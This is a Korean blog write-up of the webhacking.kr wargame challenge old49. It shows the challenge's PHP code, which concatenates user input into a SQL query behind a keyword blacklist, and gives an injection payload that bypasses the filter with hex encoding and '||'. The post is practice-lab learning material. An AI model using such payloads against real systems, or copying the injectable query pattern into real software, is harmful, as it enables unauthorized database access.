webhacking.kr - old49

2021. 4. 3. 22:08WarGame/webhaking.kr

처음에 접속하면 위와 같은 창이 뜨고,

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

 코드를 확인해보면

 

id 에 admin 을 넣어주면 될 것 같습니다.

' 가 필터링 되어있으므로 'admin' 형식으로 직접 넣어주지 못하니까 hex값으로 우회하였고,

or 이 벤먹었으니 || 으로 우회를 해줬습니다.

 

페이로드는 아래와 같습니다.

 

0||id=0x61646d696e

 

 

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old35  (0) 2021.04.06
webhacking.kr - old8  (0) 2021.04.04
webhacking.kr - old46  (0) 2021.04.03
webhacking.kr - old3  (0) 2021.04.02
webhacking.kr - old4  (0) 2021.03.31